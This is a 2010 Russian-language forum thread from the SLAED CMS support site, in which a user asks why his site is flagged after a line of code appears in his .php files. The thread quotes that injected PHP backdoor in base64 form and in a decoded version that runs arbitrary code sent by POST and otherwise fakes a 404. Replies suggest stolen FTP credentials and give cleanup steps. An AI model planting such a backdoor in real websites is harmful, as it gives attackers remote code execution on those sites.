Чтение RSS каналов

Форум

Открыть Ответить

eval base64_decode появляется в .php фаилах

0

0
1
23.03.2010 20:00:0023.03.2010 21:02:03

Здраствуйте всем!

иза етво мои саит неработает вернея работает а в гоогле пишет атакка, что ета? и чио делатй ниодин поисковик неаткривает саит?



ето поевлиается в .php ваилах

<?php eval(base64_decode(“
aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY
29kZSgkX1BPU1RbJ2UnXSkpO2Vsc2UgZGllKCc0MDQgTm90IEZvdW5kJyk7
”));?>

а то пример што меня непускает ни один поисковик

title


PLZZZ помогите кто нибудь


Версия системы: Open SLAED 1.*
Сервер: Сервер в интернете
3.4

3.4
2
23.03.2010 20:57:34
Какие ни будь сторонние скрипты. Баннеры, рекламные коды, модули используете?
Хостер платный?
Кто ещё имеет доступ к файлам сайта кроме вас?

Складывается впечатление что кто то встроил вредоносный код в файл сайта.

Значение закодированного участка: if(isset($_POST['e']))eval(base64_decode($_POST['e']));else die('404 Not Found');

О сколько нам открытий чудных,
Готовит просвещенья дух,
И опыт, сын ошибок трудных,
И гений, парадоксов друг...
3.20

3.20
3
23.03.2010 21:12:2823.03.2010 21:30:46
1)доступ к файлам имею толка я
2)Хостер платный
3)рекламные коды http://www.euros4click.de


Системная информация



Open SLAED: 1.2
OS: Linux
PHP: 5.2.4-2ubuntu5.10
PHP GD: 2.0
MySQL: 5.0.51a-...
Post size: 8 MB
Upload file size: 10 MB
Memory limit: 64 MB
Execution time: 60 сек.
Mod Rewrite: Off красново цвета
Register globals: Off зелионово цвета
Safe mode: Off красново цвета
Magic quotes gpc: On зелионово цвета

ето нормално?
3.4

3.4
4
23.03.2010 21:33:4323.03.2010 21:36:10
SLAED CMS, реклама тут скорее всего не причем.

ето поевлиается в .php ваилах
<?php eval(base64_decode(“
aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY
29kZSgkX1BPU1RbJ2UnXSkpO2Vsc2UgZGllKCc0MDQgTm90IEZvdW5kJyk7
”));?>


Рекламый код сам по себе не вживляет свой код в страницы сайта.
Тут 100 % что по ФТП прошелся бот и подвесил в код страницы свой код.
bulldog1983, случиться такое может только из-за того, что сперли пароль доступа на ФТП из-за наличия вирусов на ПК.
3.97

3.97
5
23.03.2010 21:42:29
кароче вчера полнастю перезалил заново опен слаед, и сделал бакуп, код пока 3 дня непоевлиаетсиа, но саит неоткривает ни один поесковик
3.4

3.4
6
23.03.2010 21:54:3723.03.2010 21:55:42
Рекомендую:
1. Проверить свой копьютер на вирусы, трояны.
2. Сменить пароли на ФТП, хостинг.
3. Обновить все стандартные файлы системы, проверить ФТП директорию на присутсвие сторонних файлов, при необходимости удалить.

Если всё будет в порядке, то через несколько суток поисковики обновят информацию о вашем сайте.

О сколько нам открытий чудных,
Готовит просвещенья дух,
И опыт, сын ошибок трудных,
И гений, парадоксов друг...
3.20

3.20
7
23.03.2010 22:04:5023.03.2010 22:20:17
я вчера форматнул комп, буду ждать, и написал хостеру писмо... посмотрим! а если естй у ково какие идеи, то аткликнитесй plizz...
3.4

3.4
Открыть Ответить
поевлиаетсяделатйнепускаетсаитгооглеplzzzменяпомогитефаилахпоисковикваилахпримерниодиннеаткриваетодин
Хотите опробовать SLAED CMS в действии?

Технологии

PHP MySQL HTML 5 CSS 3 jQuery jQuery UI

Контакты

  • D-49179, Deutschland
    Ostercappeln, Im Siek 6
  • +49 176 61966679

  • https://slaed.net
Идеи и предложения
Обратная связь